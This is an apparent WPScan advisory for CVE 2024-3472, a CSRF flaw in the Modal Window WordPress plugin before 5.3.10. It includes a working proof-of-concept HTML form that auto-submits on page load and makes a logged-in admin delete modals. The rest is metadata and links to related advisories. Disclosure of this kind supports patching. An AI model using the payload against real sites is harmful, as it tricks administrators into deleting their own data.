Modal Window < 5.3.10 – Modal Deletion via CSRF | CVE 2024-3472 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in place when bulk deleting modals, which could allow attackers to make a logged in admin delete them via a CSRF attack

Proof of Concept

Have a logged in admin open an HTML file containing where `ID` is an existing modal: 

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=modal-window" method="POST">
        <input type="text" name="ID" value="1" />
        <input type="text" name="action" value="delete-items" />
        <input type="text" name="action2" value="delete-items" />
        action
        <input type="submit" value="submit">
    </form>
</body>
```

Affects Plugins

Fixed in 5.3.10

References

CVE

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Bob Matyas

Submitter

Bob Matyas

Submitter website

https://www.bobmatyas.com

Submitter twitter

Verified

Yes

WPVDB ID

d42f74dd-520f-40aa-9cf0-3544db9562c7

Timeline

Publicly Published

2024-04-11 (about 1 year ago)

Added

2024-04-11 (about 1 year ago)

Last Updated

2024-04-11 (about 1 year ago)

Other

Published

Title

Published

2023-02-28

Title

Real Estate 7 < 3.3.5 - Multiple CSRF

Published

2023-05-16

Title

Contact Form by Supsystic < 1.7.25 - CSRF

Published

2024-04-25

Title

Newsletter Popup <= 1.2 - List Deletion via CSRF

Published

2023-09-09

Title

ProfilePress < 4.13.2 Cross-Site Request Forgery via 'admin_notice'

Published

2025-01-03

Title

Autocompleter <= 1.3.5.2 - Cross-Site Request Forgery